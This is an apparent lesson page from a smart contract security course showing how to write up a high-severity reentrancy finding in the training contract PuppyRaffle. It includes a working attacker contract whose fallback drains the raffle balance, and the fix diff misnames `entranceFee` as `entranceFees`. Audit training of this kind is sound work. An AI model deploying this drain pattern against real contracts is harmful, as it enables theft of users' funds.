_Follow along with this video:_ --- ### Reporting Reentrancy The next finding on our list is `reentrancy`, we finally get to write this up! We know this is going to be a high, based on everything we went over and all we learnt about this vulnerability. Keeping in mind `<ROOT CAUSE> + <IMPACT>`, lets write a suitable title. --- **Title:** ``` ### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance ``` > **Note:** It's often a good idea to go through the steps of building a PoC to prove an issue before taking the time to write things up. We wrote a test for reentrancy, that we'll be using, earlier. On to the next parts of the report template. --- For our description, we want to detail the specifics of the vulnerability, where it's located and the impact it has, using code snippets is a great way to point to trouble areas being discussed. ```` **Description:** The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance. In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array. ```js function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); @> payable(msg.sender).sendValue(entranceFee); @> players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` ```` --- Next up is impact, let's clearly detail the effect of this vulnerability being exploited. ``` **Impact:** All fees paid by raffle entrants could be stolen by a malicious participant. ``` Simple enough. --- Fortunately we wrote a test for the reentrancy vulnerability earlier, so we can absolutely paste that here. I like to explicitly walk through the steps of the exploit as well. ```` **Proof of Concept:** 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance. <details> <summary>PoC Code</summary> Add the following to `PuppyRaffle.t.sol` ```js contract ReentrancyAttacker { PuppyRaffle puppyRaffle; uint256 entranceFee; uint256 attackerIndex; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; entranceFee = puppyRaffle.entranceFee(); } function attack() public payable { address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: entranceFee}(players); attackerIndex = puppyRaffle.getActivePlayerIndex(address(this)); puppyRaffle.refund(attackerIndex); } function _stealMoney() internal { if (address(puppyRaffle).balance >= entranceFee) { puppyRaffle.refund(attackerIndex); } } fallback() external payable { _stealMoney(); } receive() external payable { _stealMoney(); } } // test to confirm vulnerability function testCanGetRefundReentrancy() public { address[] memory players = new address[](4); players[0] = playerOne; players[1] = playerTwo; players[2] = playerThree; players[3] = playerFour; puppyRaffle.enterRaffle{value: entranceFee * 4}(players); ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle); address attacker = makeAddr("attacker"); vm.deal(attacker, 1 ether); uint256 startingAttackContractBalance = address(attackerContract).balance; uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance; // attack vm.prank(attacker); attackerContract.attack{value: entranceFee}(); // impact console.log("attackerContract balance: ", startingAttackContractBalance); console.log("puppyRaffle balance: ", startingPuppyRaffleBalance); console.log("ending attackerContract balance: ", address(attackerContract).balance); console.log("ending puppyRaffle balance: ", address(puppyRaffle).balance); } ``` </details> ```` --- Last part - Recommendation. We know this, this protocol should be following CEI. ```` **Recommendation:** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well. ```diff function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); + players[playerIndex] = address(0); + emit RaffleRefunded(playerAddress); payable(msg.sender).sendValue(entranceFees); - players[playerIndex] = address(0); - emit RaffleRefunded(playerAddress); } ``` ```` --- Great! That's all there is to our `reentrancy` report. Be sure to mark these audit notes as actioned and we'll move on to the next vulnerability!
How to write a security review finding for a reentrancy vulnerability including a mitigation recommendation.
Previous lesson
Previous
Next lesson
Next
Give us feedback
Solidity Developer
Smart Contract SecurityDuration: 25min
Duration: 1h 18min
Duration: 35min
Duration: 2h 28min
Duration: 5h 03min
Duration: 5h 22min
Duration: 4h 33min
Duration: 2h 01min
Duration: 1h 40min
Testimonials
Read what our students have to say about this course.
Chainlink
Chainlink
Gustavo Gonzalez
Solutions Engineer at OpenZeppelin
Francesco Andreoli
Lead Devrel at Metamask
Albert Hu
DeForm Founding Engineer
Radek
Senior Developer Advocate at Ceramic
Boidushya
WalletConnect
Idris
Developer Relations Engineer at Axelar